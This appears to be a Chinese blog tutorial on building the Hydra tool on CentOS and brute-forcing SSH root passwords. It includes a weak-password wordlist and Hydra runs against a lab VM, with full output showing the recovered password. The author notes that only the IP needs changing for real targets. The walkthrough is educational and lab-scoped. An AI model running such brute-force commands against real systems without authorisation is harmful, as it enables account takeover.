Linux安全-攻击篇-密码破解之Hydra工具

1.前言

1.1 关于法律

本文仅从安全角度去探讨测试,请勿非法使用,遵守法律法规。

1.2 Hydra介绍

Hydra是一款基于协议的在线连接测试密码安全工具,支持多款协议。

1.3 测试环境

Linux多使用SSH协议进行登录管理,所以本文仅介绍Hydra关于SSH方面的使用,从而进行测试、破解密码。
Linux版本:

[root@legend_never_dies opt]# uname -a
Linux legend_never_dies 3.10.0-1127.el7.x86_64 #1 SMP Tue Mar 31 23:36:51 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

2.准备工作

2.1安装Hydra

官方安装原文(文末有Hydra的GitHub链接):

type "./configure", then "make" and finally "sudo make install"

For special modules you need to install software packages before
you run "./configure":
  Ubuntu/Debian:  apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncurses5-dev
  Redhat/Fedora:  yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
  OpenSuSE:       zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel

For the Oracle login module, install the basic and SDK packages:
 http://www.oracle.com/technetwork/database/features/instant-client/index.html

2.1.1 安装依赖环境

根据官文介绍,本机使用测试环境的linux版本为centos,所以对应需要使用Redhat/Fedora的yum安装。

[root@legend_never_dies opt]# yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel -y

末尾的-y参数为同意安装,即不提示确认是否安装。

2.1.2 安装Hydra

依赖环境安装成功后,接着就是下载tar包进行解压并安装。
下载:

[root@legend_never_dies opt]# wget https://github.com/vanhauser-thc/thc-hydra/archive/v9.1.tar.gz

解压:

[root@legend_never_dies opt]# tar xzvf v9.1.tar.gz 

安装:

[root@legend_never_dies opt]# ls
thc-hydra-9.1  tmp  v9.1.tar.gz
[root@legend_never_dies opt]# cd thc-hydra-9.1/
[root@legend_never_dies thc-hydra-9.1]# ./configure

执行成功后继续使用make下一步安装。
Linux安全-攻击篇-密码破解之Hydra工具_第1张图片

[root@legend_never_dies thc-hydra-9.1]# make

make成功后继续下一步make install安装。
Linux安全-攻击篇-密码破解之Hydra工具_第2张图片

[root@legend_never_dies thc-hydra-9.1]# make install

至此Hydra安装完毕

2.2 字典

字典的质量决定密码破解的效率及是否成功破解。

2.2.1 账号字典

本文不具体介绍账号字典的细节,具体使用方法为使用hydra -L user.txt。

2.2.2 密码字典

为做测试,手动输入一些简单密码,如123,123456,123321等弱密码作为密码字典,并在后面进行修改测试机的密码为字典中密码,用于测试是否成功。
生成pass.txt,用作密码字典。

[root@legend_never_dies test]# cat >pass.txt<
> 123
> 456
> 789
> 123456
> 654321
> 123321
> EOF

3.实战破解

由于是测试环境,所以我这里新建一个虚拟机进行破解测试,实际环境破解测试密码时,修改IP为对应IP即可。
测试机IP为:10.20.151.183
-l为指定用户,-P为指定密码文件,-t为指定线程数量(具体多少请根据配置自行修改)-vV为显示进展详情

3.1 测试密码-未发现密码

为方便展示,不使用-vV参数,各位有兴趣可以使用该参数。

[root@legend_never_dies test]# hydra -l root -P pass.txt ssh://10.20.151.183 -t 4
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-10 20:40:11
[DATA] max 4 tasks per 1 server, overall 4 tasks, 6 login tries (l:1/p:6), ~2 tries per task
[DATA] attacking ssh://10.20.151.183:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-10 20:40:15

执行结果:1 of 1 target completed, 0 valid password found

3.2 测试密码-发现密码

为确保密码字典中涵盖测试机的正确密码,所以手动修改一下root的密码为123321。

[root@legend_never_dies test]# passwd
更改用户 root 的密码 。
新的 密码:
无效的密码: 密码是一个回文
重新输入新的 密码:
passwd:所有的身份验证令牌已经成功更新。

接着使用hydra进行破解测试

[root@legend_never_dies test]# hydra -l root -P pass.txt ssh://10.20.151.183 -t 4
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-10 20:41:03
[DATA] max 4 tasks per 1 server, overall 4 tasks, 6 login tries (l:1/p:6), ~2 tries per task
[DATA] attacking ssh://10.20.151.183:22/
[22][ssh] host: 10.20.151.183   login: root   password: 123321
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-10 20:41:08

执行结果:
[22][ssh] host: 10.20.151.183 login: root password: 123321
1 of 1 target successfully completed, 1 valid password found。
具体的账号密码为root,密码为123321.
可以使用-o 参数指定保存结果输出到文件中,注意,该参数需要写在-P后,IP前,不然会提示错误。

4.其他

后续有时间在写一下关于防御篇,再次重申请勿使用非法途径!!!

关于Hydra:
Github:https://github.com/vanhauser-thc/thc-hydra

你可能感兴趣的:(Linux,linux,centos,安全,密码学)